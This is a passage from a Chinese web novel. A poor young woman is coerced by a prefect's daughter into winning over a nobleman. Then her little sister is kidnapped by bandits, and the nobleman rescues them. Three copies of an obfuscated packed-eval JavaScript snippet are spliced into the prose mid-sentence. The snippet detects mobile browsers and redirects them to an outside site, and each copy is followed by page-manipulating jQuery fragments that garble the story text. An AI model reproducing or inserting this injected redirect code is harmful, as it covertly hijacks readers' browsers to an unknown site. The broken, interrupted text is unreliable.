那户邻居欺她们孤儿寡母，一定要云娘出银子给他修整屋舍。 畹君家本就不宽裕，家里烧了半边屋子，光是请人修整便要花二十多两银子，哪有余钱再帮别人修？ 两家争持不下，天亮后请了里长过来调解。 那里长是个和稀泥的，见畹君家不过母女三人，为求省事便判她们赔十两银子给邻居。 佩兰虽然不赚钱，可也知道银子珍贵。 她拽着畹君的衣袖道：“姐姐，他们欺负人，让时家哥哥来帮我们主持公道。” “什么时家哥哥？”那里长立刻竖起耳朵。 金陵城姓时的人家虽不少，可一提起这个姓，默认只有宣平侯家。何况最近那位小时大人剿匪有功，乃风头正盛之际。 “你不知道吗？”佩兰瞪着大眼睛，“就是在慈育堂剿匪的时家哥哥，他是我们家亲戚，跟我姐姐关系很好的！” 那邻居知道她们家跟宣平侯府沾亲带故，可看她们过得并不宽裕，想来不是什么正经亲戚，便急赤白脸道：“你要这么说，谁家还没有几门显贵亲戚！” 里长却沉吟不语。 原来那天剿匪，官府封锁了消息，一般人不知道慈育堂夜战的事。偏巧他岳家是上元县清溪村人，因此才有所耳闻。 眼见这小姑娘张口就道出内情，倒让他有所顾忌，生怕真得罪了侯府。便干脆免了那十两银子的赔偿，叫两家各扫门前雪。 关起屋门，云娘立刻摆出三堂会审的架势：“什么时家哥哥？你跟时家的少爷还有来往？” 畹君点着太阳穴，颇头痛道：“你听不出佩兰是诈他们么？我跟那位时二爷只在慈育堂有过一面之缘，还能有什么来往？” 佩兰不解地歪着脑袋。 姐姐当时明明说的是时家哥哥对她言听计从，怎么现在又说不熟了！ 云娘倒是放下心来，转头去操心修整屋舍的事。 西厢房烧了是一回事，要紧的是里头堆积的器物，虽然平时不用，可总有派上用场的时候。眼下一把火烧没了，少不得一件件采买回来，又是一大笔开销。 那金锞子换的银钱早用去了大半，剩下的全花掉也不够修房子的。 云娘从陪嫁箱子里取出一对金镯子，让畹君拿去当铺换点银子来应急：“本来是预备着给你当嫁妆的，家里出了这样的事，这对镯子也留不得了。” 那当铺掌柜嫌这对金镯子款式老旧，只肯照着重量给她换了十两银子。 畹君掂着手中的十两纹银，寻思着少不得要拿她私库里的银子出来补差了。 回到家里，却见她娘喜气洋洋，一扫方才的颓靡。 畹君不由奇道：“娘凑到银子了？” 云娘道：“柳大官人听说咱们家屋子烧了，方才差人送了一百两银子过来。” “你收下了？”畹君立刻叫道，“这银子不能要！” “凭什么不要？” “他这关头送银子来，不是司马昭之心么？你前脚收了银子，后脚他来求娶你女儿，你嫁不嫁？” 云娘敛了笑，正色道：“咱们家就是不出这个事，我也准备结这门亲的。你现在怨我不要紧，再过十年你得谢谢你娘的远见！” 畹君气坏了，摔门进屋伏着枕畔哭了一回。 佩兰拿帕子给她擦眼泪，坐在床上小小声地说道：“姐姐，会不会是那个柳大官人看你不肯嫁给他，故意派人来烧咱们屋子？” 畹君的啜泣一顿，浑身的血从头凝到了脚。 她慢慢坐起身来，透过窗户看西厢被火烧过的废墟。 自八年前搬来这里，整条街巷失火的次数不超过三回。偏偏这个节骨眼上她家烧了，烧的还是远离厨房柴垛的西厢房。 佩兰这话一语点醒梦中人，这不是意外，是人祸。 只不过，不是柳大官人干的。 畹君立刻反应过来是谢四娘的手笔。 她差点忘了那桩事。 谢四娘说给她三天考虑，今天正好是第三天。 谢知府自从四年前出任金陵知府，官声就一直不好。尤其是他的独子横行无忌、欺男霸女，有好几次沾上命案，都被谢知府用关系保下来了。 他的女儿，会做出火烧民宅的事也不足为奇。 如果她不答应，今天烧的是不住人的西厢房，明天烧的又是哪里呢？ 畹君的手不住地发颤，心中说不出是惊是怒。 这头她娘逼着她嫁人，那头谢四娘逼着她就范，原来她从来都没有得选择。 夜里睡觉的时候，畹君搂着佩兰，低低问道：“如果你有一大笔银子，你想用来干什么？” “我要买很多好吃的！”佩兰美滋滋道，又睁着晶亮的眼看她姐姐，“姐姐你呢？” 畹君闭着眼睛低声道：“我要带你们搬到一个新的地方，请个好大夫治好你的病，然后盘一间铺子过活，给我自己挑一个合心意的夫婿，督促他读书做官，以后就没人可以欺负我们了。” 佩兰已经快要睡过去了，口中喃喃道：“姐姐要做的事情好多哦。” 畹君轻轻地抚摸着妹妹的头顶。 是啊，要做的事情太多了。五百两不够，那就……一千两吧。 “一千两？”谢四娘猛地从石凳上站起来，恼怒地盯着面前的畹君。 微风穿过园内花木吹动畹君的额发，青丝飘拂，令那张白璧般的面庞陡然生动起来。 她安坐不动，慢条斯理道：“四姑娘若能如愿当上时二奶奶，多少荣华富贵等着你，一千两银子又算什么？” 谢四娘沉吟不语。 一千两银子对她而言确实太多了。 可是那日在侯府做客，她从姑祖母口中得知，时二爷已经明确拒绝了跟谢家结亲。别说是她，就连嫡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668345|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出的三姐也没戏了。 而眼前这个谢畹君是她唯一的机会。 那位时二爷，据说其十八岁时圣上便想给他封侯，碍于其父已是侯爵才作罢。 做时家的二奶奶，可比做时家的世子夫人还要得意。 如今的世子夫人谢氏是她的堂姐，长房长女，没出阁时在族里便众星捧月。 将来自己若能压到堂姐头上，那又该是何等的风光无限？ 思及此处，谢四娘心一横道：“行。不过，你别想耍什么花招。” 她恻然一笑，“你们家应该经不起第二回折腾了吧？” 果然是她！ 畹君神色一凛，在袖中攥起了拳头。 谢四娘一字一句地警告她：“事情一成，你立刻离开金陵，别妄想留在时二爷身边。” 畹君心头冷笑： 将时璲那般算计一通，她怎么可能还敢留在金陵？倒是这谢四娘，没尝过时璲的硬脾气，以为写了婚书就高枕无忧。 她收拾不了谢四娘，正好驱虎吞狼，让时璲教她做人。 “事情办妥我自当远走高飞。” 她站起身来，轻声在谢四娘耳边道，“也祝谢四姑娘和时二爷，琴瑟和鸣、相敬如宾。” 按畹君的要求，若想让她帮忙搞定时璲，必须先答应她三件事： 第一，在她和时璲接触期间，谢四娘不得自作主张，打乱她的布局。 谢四娘自然满口答应。 第二，给她一个能出入谢府的身份。 正巧谢府正在给两位年幼的小姐聘女西席，谢四娘便承诺让她出任。 第三，先给她一百两定金。 一下子拿出这么多钱，谢四娘显然也很是肉痛，咬牙打发人取了锭金元宝给她。 拿到十两重的金子，畹君心中却并不欢喜。 她隐约觉得，从当初捡起时璲那枚金锞子起，自己就踏入了一条汹涌奔腾的河流，再也回不了头了。 回到家中，畹君将金元宝拍在她娘面前：“快把柳大官人的银子还回去。” “你上哪弄来的？”云娘满脸狐疑地抓起那锭金子掂了掂，忽然顿足道，“你……你该不会？你要气死我！” “你想什么呢！” 畹君知道她娘又要怀疑她不安分了，满脸不悦道，“谢知府家聘我当女西席，这是束脩金！” “给这么多？谢知府？他家怎么会聘你？” 云娘顿时觉得如坠九重天外，整个人有种不切实际的晕眩。 畹君随口扯了个谎，说在侯府结识了谢家的姑娘，蒙其引荐得了这个机会。 云娘自然是欢喜之至，却不肯归还柳家的银子：“你有谢知府这条门路，那柳大官人只会更加爱重你，娘也就放心了。” 畹君见她娘竟还想着让自己嫁给柳家，忍不住跟云娘大吵了一架。 云娘振振有词：“你当西席能养活自己一时，能管一世吗？你十七了，再不说亲就没人要了！赶紧给后半生找个依靠才是真！” 畹君气得晚饭都没吃。 云娘可不管她，熬了佩兰的药端进屋给小女儿喝。 谁知佩兰躺得直挺挺地不肯喝：“这是卖姐姐的钱熬的药，我才不要喝！” 云娘见姐妹俩一个鼻孔出气，恼得想摔碗，又舍不得那八十文钱熬出来的药，只好哭叹自己命苦，养出两个小白眼狼。 最后她到底还是把那一百两银子退给了柳家，让这门亲事作了罢。 11. 倚楼眺 过了两日，谢府当真给畹君送来了聘书。 一个月五两银子的薪俸，平时吃住都在谢府，逢五逢十日可以回一趟家。 那谢知府膝下仅一独子，为了开枝散叶，妾侍纳了不少，孩子也生了不少，可无一例外都是女孩。 眼见谢家的九、十小姐到了开蒙的年纪，太太就做主请了西席进府，面子做到位了，其实根本不过问小姐们的功课。 这倒是让畹君松了口气。 她幼时跟着父亲念过书，后来在慈育堂教过书，给小姐们开蒙的差事也能勉强胜任。 只是她醉翁之意不在酒，进谢府本也不是为了当西席而来的。 谢府每天迎来送往，跟姻亲时家也多有走动，只是时璲从不登谢家门。 畹君思索过其中缘由。 谢知府出身陈留谢氏，宣平侯老夫人是他的姑母，宣平侯世子夫人是他的侄女。两家如今又同在金陵，按理说时谢两家应当很亲近才是。 可是和时璲为数不多的几次会面中，畹君能感受到他对谢家的不齿。 兴许是时璲自视甚高的缘故，而那谢知府的官声又不好，他不屑跟谢家来往也不足为奇。 可结亲是两家人的事，她得有多大的本事，把时璲迷成什么样子，才能让他放下偏见去跟谢知府提亲啊？ 畹君后悔一千两银子要得少了。 过得几日到了五月端阳，秦淮河畔的龙舟竞渡历来是城中盛会。 官府出了高额赏金，各大商号都派了龙舟队伍去争头彩，健儿们摇旗呐喊，河岸两边锣鼓喧天，气氛竟比头顶的骄阳还要热烈。 端午正逢晴天艳阳，暑气正盛，河畔两侧搭起蜿蜒十数里的彩棚，以供全城百姓出游观赛。 金陵显贵们的彩棚设在长安桥一带，谢家彩棚对岸便是时家的彩棚。 畹君轻摇纨扇，远远地望过对岸去。 时家彩棚的左侧坐满了女眷，中间隔着一道盘花纱帘，右侧是时家的男丁。 她的目光扫过那一众芝兰玉树的少爷，没瞧到时璲的身影，倒正好跟时瑜对视了一眼。 畹君若无其事地别开眼去，倒是时瑜愣神了许久，一直定定地瞧着这边。 谢四娘坐在她身侧，低声跟她咬着耳朵：“今天无论如何也得见上时二爷一面。” 畹君道：“今日河畔这么多百姓出游，时二爷有公务在身，只怕无暇出来赏玩。” 谢四娘却很乐观地一笑：“你放心吧。他喜欢你，今天这么好的机会，他肯定会设法来见你的。” 畹君不语，心头却纳闷：谢四娘都没见过时璲，怎么就笃定了时璲对她有意？ 外头有人走进彩棚，带进一袭芳浓的脂粉香。 畹君微蹙眉心望过去，却见棚架下站着一个高瘦的华服青年，正微眯着眼睛看她，那眼神直勾勾地，仿佛看见了什么稀罕物事一般。 畹君心头一跳，意识到这是谢知府的独子谢惟良，金陵城有名的花花公子。 她在谢府时只在后院行走，也不必去向主母问安，因此从没碰上过此人。 今朝对上他那赤裸裸的眼神，心知不妙，却也只能强作镇定地偏过头去，拿纨扇挡了挡脸。 那谢惟良却已阔步走过来，假意跟谢四娘寒暄，故作才发现畹君的样子，因笑道：“四娘，你身边这位姑娘是哪家的小姐，怎么从前没有见过？” 谢四娘与谢惟良乃一母同胞，平时跟她大哥便十分亲近，哪能不知道他这是对畹君见色起意？ 谢惟良要怎么沾花惹草她管不着，只是畹君身系自己的富贵前途，不能这时给他截了胡。 谢四娘便站起身来，对谢惟良附耳说了几句话。 畹君只是静坐不动，眼睛虚虚地望着河对岸，却听得那窃窃私语中漏出几道声气：“……等哥哥当上时二爷的大舅子，将来背靠两重大山，还怕不能在金陵呼风唤雨？” 那谢惟良一面听，一面不住地拿眼睛觑畹君。 眼前的美人云鬟雾鬓，姿容丰雅，任是不笑也动人，看得他心头发痒。 只是谢四娘那番话更令人心动，便笑道：“好妹妹，你的婚事大哥只有支持的份，怎么会坏你的好事？” 说罢调转身子走出彩棚，经过畹君身边时却将手搭在她的肩头，轻轻地捏了一下。 男人手掌的温度隔着轻薄夏衫传递到肌肤，教她无端起了身鸡皮疙瘩。 谢四娘看了眼她僵硬的神色，不以为然道：“你放心吧，我大哥不会动你的。” 畹君不语，忍下了心头的恶心劲，只盼着赶紧将此事了结，再不用跟他们谢家的人打交道。 这厢人渐渐地到齐了，上首的谢太太便对姑娘们道：“今儿天热，你们姑祖母没出这趟门，只是也该去给你们婶娘请个安。” 话音落下，婢女们纷纷撑起青凉伞，打着锦纨扇，簇拥着太太姑娘们往对岸的时家彩棚里走去。 衣香鬓影浩浩荡荡地离开，方才热闹的彩棚里顿时安静下来。 畹君虽然也算侯府的亲戚，可她又不是正经的谢府小姐，懒得去讨那没趣，便没跟她们同行。 这彩棚的人走了大半，她倒还自在些。 面前的八仙桌上摆着榴花艾草，琉璃果盘上盛着冰湃过的枇杷梅杏，漆盒上装着琳琅的茶果点心、琼酥金酪，俱是寻常人家难得一见的果品，摆在这里却无人问津。 畹君拿干净帕子各装了一点放进荷包，准备带回去给佩兰吃。 就在这时，外头走进来一个长眉杏目的小厮，恭恭敬敬地朝她施了一礼。 畹君认出这是在侯府引她去见时璲、后来又在珍珑阁偶遇的那个小厮。 她这才后知后觉地意识到，原来他上次去珍珑阁，是奉了时璲之命去打那对送给她的耳坠。 鹤风脸上挂着客气的笑道：“谢姑娘，我们爷请您过去说话。” 畹君心中暗自纳罕：还真让谢四娘说中了。难不成时璲真对她有点意思？ 她没多问，收起手中的荷包，默不作声地跟着鹤风离开了彩棚。 鹤风领着她穿过河畔的人潮，拐进了沿街的大报恩寺里。进了寺，攀着石阶上了一座高台，上面还有一座阁楼。 鹤风指了指上面，示意畹君自己上去。 畹君只好掏出帕子擦了擦额角的薄汗，踩着楼梯上了阁楼。 一进门，只见时璲正背对着她半躺在竹椅上，玄色长靴衬得双腿笔直修长，却分外不羁地交叠搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668346|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在矮几上。 他今日穿了一身荔枝色织金曳撒，耀目的亮色驱散了夏日的沉闷，令人眼前蓦然一亮。 只是头上倒很随意地没有戴冠，扎着黑纱网巾，用青色绦绳束起发髻，一派闲散自得的模样。 听到脚步声，时璲偏头看过来，窗格透进来的日光正好凝在他的鼻尖，细微又璀璨地闪了一下畹君的眼。 他用指尖在扶手上轻轻一掸，懒洋洋道：“你怎么一个人在彩棚里待着？” 畹君讶然。 这人莫不是千里眼，人在高阁坐，还能看到她在下面的动静？ 她的眼神不由往窗外飘。阁楼北向的四扇菱花格窗正对开着，望出去便是秦淮河畔。 她走到窗边，发觉这阁楼望下去正好是谢家的彩棚，视线斜穿下去，还能看到棚里的人在走动交谈。 他不在自家彩棚看人赛龙舟，反倒跑来这阁台高坐，是为了……看她么。 畹君回眸瞟了他一眼，虽没说出口，可那讶然的神色已透露了心中所想。 时璲从躺椅上坐起身子，踱步走到她身后。 高处风大，将畹君的发丝直吹到他脸上，带着幽馥的桂花香气。 他偏过头避开，手肘撑着窗台，顺着她的视线望向游人如织的河畔。 “还有七个匪贼没有归案，今日万众出游，我少不得在此监视河畔的动静。” 时璲解释完，垂下眼瞥她，轻笑一声道：“你以为我在看什么？” 畹君的脸红了红，转过头正要给自己辩解，未料到他靠得是那么近，发丝从他唇畔擦过，两个人都愣了一下。 畹君定了定神，想起自己是带着目的过来的。 她一下子从那微妙的悸动中脱开身来，朝时璲抿出一个浅淡的微笑：“那我又不是匪贼，时二爷把我抓上来做什么？” 时璲眉尾一扬，从窗台上走开，坐到了一侧的矮榻上。 矮榻前是一张黑漆条案，上面叠着几张画像。 畹君歪着头看了看，白纸黑墨，几许勾勒，一张平淡而带着凶横的人脸跃然纸上。 她好奇地拿过那叠画像细看，一共七张，正是那些走脱的匪贼的画像。 时璲取出一方錾花金匣放在条案上。 畹君的眼神立刻从画像溜到了那方金匣上。 时璲看得分明，不由微笑道：“你上回不是说，给点值钱的东西答谢你么？” 他回去思索了许久，最值钱的东西无非弓剑刀兵，她未必喜欢；女孩子的珠宝玉饰他又没有，找了许久才找到一件御赐的稀罕物。 “暹罗进贡的辟邪香玉，放在屋子里百虫不侵的，倒应了端午的景，也不算辱没你的功劳。” 他口中说着香玉，眼神却熠熠地盯着她。 畹君捧起那方巴掌大的金匣，入手并不沉，她心中先惋惜了一二； 再打开匣子，鼻端先嗅到一股淡而盈然的清芬之气，里面躺着一枚莹彻光洁的玉环。 那气味久而弥芳，嗅之令人神清思畅。任是畹君见识不多，也知道这是绝对珍稀的宝物。 然而这样的宝物向来有价无市，她没有门路卖出去。 还不如送一方实心的金匣子来得实在呢！ 12. 白羽乱 畹君神色郁郁地合上匣子，淡然谢过他。 “你不喜欢么？”时璲有些意外。 畹君苦笑：到底该怎么让这位贵公子知道，他的东西不是一般人消遣得起的？ 她虽然是在扮演着知府千金，不该说出太铜臭的话；可万一他今后又心血来潮，送她些华而不实的东西呢？ “其实……我更喜欢真金白银。” 时璲果然惊讶：“怎么，谢家短你的花用？” 畹君摇摇头，一边现想着借口：“我有个大半岁的嫡姐，家里同时备我们俩的嫁妆，太太难免会偏心她一些。为了我将来出嫁好看些，可不得费心谋划点银钱添妆么？” 虽是假托了谢四娘身份的说辞，给自己攒嫁妆的心却是真真的。 时璲笑了笑，窄长的双目斜睨着她：“你想嫁给谁？” 畹君看出他眼底的一点嘲讽。 因着谢四娘散播的那些谣言，使他这话有点像蒙着轻纱的试探，答案已经呼之欲出了。 她偏要出乎他的意料：“我么，自然要嫁给温柔体贴的夫君，最好是读书人。” 顿了顿，含嗔斜睨他一眼，“因为我受不了别人凶我，也受不了别人恐吓我。” 时璲听出了她话里的指桑骂槐：“我什么时候凶过你、恐吓过你？” 前几回见面，哪次没凶她？还有那枚袖箭，再偏一点她可就要破相了。 畹君眼颦秋水，郑重里带点委屈：“时二爷，我知道你对我有点误会。其实，那些谣言并不是我传的。是……” 她心念一转，正好给那冒犯她的谢惟良上点眼药。 “是我大哥为了借你的势，让他那些狐朋狗友编排的。” 提到谢惟良，时璲脸色倏然沉了下去，连带着对她的态度也冷淡起来：“知道了。你回去吧。” 畹君没想到他就这么把她打发走了。 若放平时，她得大大松一口气。可现在不同了，时二爷不是时二爷，他那颗心值一千两银子。 她本就没什么机会跟他相处，这一走，下回见到他是什么时候？ 可欲擒故纵的线已经放了出去，再拖泥带水地磨蹭，反而落了下乘。 畹君纵使心头一百个后悔，面上却盈盈笑着朝他施了个礼，非常干脆地下了阁楼。 出了大报恩寺，回到长安桥边，只见谢家去侯府彩棚请安的女眷已经回来了。 谢四娘坐在一张长条凳上，旁边坐着个扎双丫髻的小姑娘，正拿着芝麻核桃糖吃得津津有味。 畹君一口气差点没提上去，疾步冲过去将那小姑娘从谢四娘身边抱开。 “姐姐！”佩兰高兴地唤她，“核桃糖真好吃！” 畹君没理她，双目冷冷盯着谢四娘：“你动我妹妹干什么？” 谢四娘脸上似笑非笑，倒很是满意她这过激的反应：“我动你妹妹？” “姐姐，”佩兰扯了扯她的袖子，“娘今天去酒楼帮工了，我想出来玩，娘就把我送来你这里了。刚才你不在，是这个姐姐拿了东西给我吃。” 往年端午都是畹君带佩兰出来玩，她今年有事，顾不上妹妹，没想到云娘竟把佩兰送了过来。 畹君松了口气，向谢四娘告了声罪。 谢四娘有心问她方才干什么去了，碍于周围姐妹众多，便耐着性子没提。 畹君牵着妹妹到河堤上看龙舟。 那一排五彩龙舟飞驰竞速如平原跑马，引来排山倒海般的叫好。佩兰脸上红扑扑的，兴奋地跟着拍手。 畹君却不合时宜地开起了小差，想着方才在阁楼上的事。 明明聊得好好的，一提起谢惟良，时璲对她的态度就急转直下。难道他很厌恶谢惟良，所以连带着对她也喜欢不起来了？ 她心中暗自懊恼，若早知如此，不该在这时提起谢惟良，反倒把时璲从自己身边推远了。 可是，他也讨厌那登徒子，不知为什么她心里有一丝慰藉。 她偏过头往大报恩寺的方向望去，在那座高台之上，檐牙高啄的阁楼直插在湛蓝的晴空，如一尊佛像般俯瞰着河畔的芸芸众生。 烈日高悬，她有些睁不开眼，看不清他是否还站在窗边，监视着河畔的动静。 想到河畔，畹君心里猛地跳漏一拍，回神去看身侧，哪还有佩兰的身影？ 她心头突突跳着，忙退出了河堤，在熙熙攘攘的人群中搜寻妹妹的踪迹。 金陵不是没有拐子，所以母亲才会把佩兰送到她这里来。要是佩兰在她手上丢了，她一辈子不能原谅自己。 畹君心里慌乱得不行，已经寻到了街上去，还是没有看到那小小的身影。 她一抬头，忽然注意到一个挑夫肩上扛着又沉又坠的麻袋，那灰褐色的麻袋口却挂着一寸红发绳。 眼见那身影一晃转过街角，畹君立刻提着裙子追了上去。 那人足下生风，转过一条又一条街巷，她只能勉强看到他的衣角，却这么一路坚持不懈地追了上去。 那人拐过闹市，扛着麻袋进了西郊的一座破庙里。 畹君悄悄地摸进破庙的院子，借着断墙和灌木的掩映，听到里头窃窃私语的声音： “老鹰，你怎么带了个小丫头回来？” “这可是金陵知府的女儿。绑了她，跟那姓谢的谈判去，让他放了我们兄弟，不然就把她脖子抹了！” “姓谢的有十个女儿，他能听你的？要抓也是把他儿子抓来！” “你他娘的把我当佛祖许愿呢？河边人那么多，又到处是官兵，能把这小丫头弄来不错了。” “成，你在这看着这丫头，我去四时客栈给神算子递个信，让他搞辆马车把这丫头弄出城去。” 那头响起一阵渐远的脚步声。 畹君听到这里才明白过来，原来这两个是逃脱的匪贼，把佩兰当成谢知府的女儿掳来了。 她心里骂了一声，那谢家骄奢淫逸，好处她半分没受着，凭什么要她妹妹替他们家挡灾。 畹君分明清楚自己此刻该出去找官兵，可要动身之际又犹豫了。 万一等她找来官兵，这些匪贼已经带佩兰离开了怎么办？ 再说，佩兰不是谢知府的女儿，落在匪徒手里为质，那些官兵只管抓人立功，怎么会管佩兰的死活？ 她的妹妹，只有她才能救。 畹君正思忖着，又听得庙里那人自言自语道：“一个小丫头还能跑了不成，不如出去打壶酒来喝。” 说着，那脚步声也往门外去了。 畹君扒着朽烂的窗户往里看，那两个贼目已不在庙里。 供桌下横着只敞着口的麻袋，佩兰就装在里面，扎着双丫髻的脑袋露在外面，已经晕了过去。 她没有犹豫，顺着窗户翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681996|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了进去。从窗台跳下去时沾了一身尘灰，她全然不顾，一心奔向供桌下的麻袋，小心地将佩兰抱了出来。 畹君拍了拍妹妹的脸，见她没有醒转的迹象，只好将她抱起来往窗台那边走去，打算悄悄把她带走。 八岁的小姑娘已经有些沉了，畹君才走出几步，忽然身后一道疾风袭来，一只大手猛地扯住她的头发。 畹君惊叫一声，怀里的佩兰摔了出去，而她被那人拽着狠狠掼在地上。 她浑身的骨头摔得像散了架般，惊恐地望着面前鹰嘴鹞目的男人：他不是出去了么，怎么会去而复返？ 那匪贼瞧清她的模样，嘿嘿阴笑起来：“今儿是什么好日子，还有个送上门的天仙儿！” 说着要上前摸她的脸，畹君骇然，下意识抬手狠狠抽了他一巴掌。 那匪贼大怒，拽起她的衣领提拳欲打，门外遽然传来一阵尖锐的破空声，一枚白羽箭矢擦着他的耳朵飞过去了。 那匪贼大吃一惊，举目望去，又是一箭擦着他的头顶飞了过去。 他总算反应过来，慌忙丢下畹君要跑，这时一支又急又快的利箭飞来，“咻”地一声射穿了他的左目。 匪贼大叫一声捂住眼睛，畹君吓得手脚并用地连退好几步，生怕那匪贼发狂暴起，又怕箭矢无眼伤了她。 不多时两个红甲官兵冲进来，迅速制住了哀嚎不止的匪徒。 畹君劫后余生，心有余悸地往破庙门口望去。 一道高挑挺拔的红色身影将手中长弓掷于地上，怒气冲冲地走进来。 是时璲，他出来得很匆忙，帽子都没戴，还是在阁楼时的那副装扮。 见到他，畹君悬着的心忽然就落到了实处。 她支撑着站起身来要去看昏迷的佩兰，刚迈出一步，右脚忽然传来钻心的剧痛，疼得她顿时定在原地，想来是被那匪贼拖拽时扭伤了脚。 时璲沉着脸走过来，经过她身侧将她往边上一搡。 畹君身子一歪倒在地上，只能眼睁睁地看着时璲越过自己走到佩兰身边，半蹲下去查看她的情况。 他拨拉了一下佩兰的眼皮，对旁边的兵卫道：“晕过去了，把她弄醒。” 那兵卫忙依言上前，伸手掐住佩兰的人中。 趁这当口，时璲回过身来，见畹君正呆呆地看着他，朝她劈头盖脸就是一顿吼：“你是有三头六臂还是身怀绝技，敢一个人追匪贼？你就这么能耐！” 畹君被他吼懵了，睁大眼睛说不出话。 “咳咳咳……”佩兰急促地咳起来。 畹君忙转过头去看她。 时璲也转过去，半蹲下来平视着佩兰：“你是谢府台的女儿？” 他虽然刻意放轻了声音，却犹带几分方才质问畹君时的冷厉。 “不是。” 佩兰小小声地说道，不住地拿眼睛瞅她姐姐。 畹君心头狂跳。方才救佩兰时她什么都没想，如今姐妹俩当着时璲的面相对，她还冒充着谢四姑娘呢！ 怎么就……偏偏在这种情形下被拆穿身份！ 她瞬间觉得头都大了，仿佛被一只大手攥住了咽喉，紧紧地透不过气来。 时璲见佩兰的眼神不停往他身后溜，不禁回头看了眼面白如纸的畹君，又朝佩兰道：“你认得她？” 该来的还是来了。 畹君认命地闭上眼。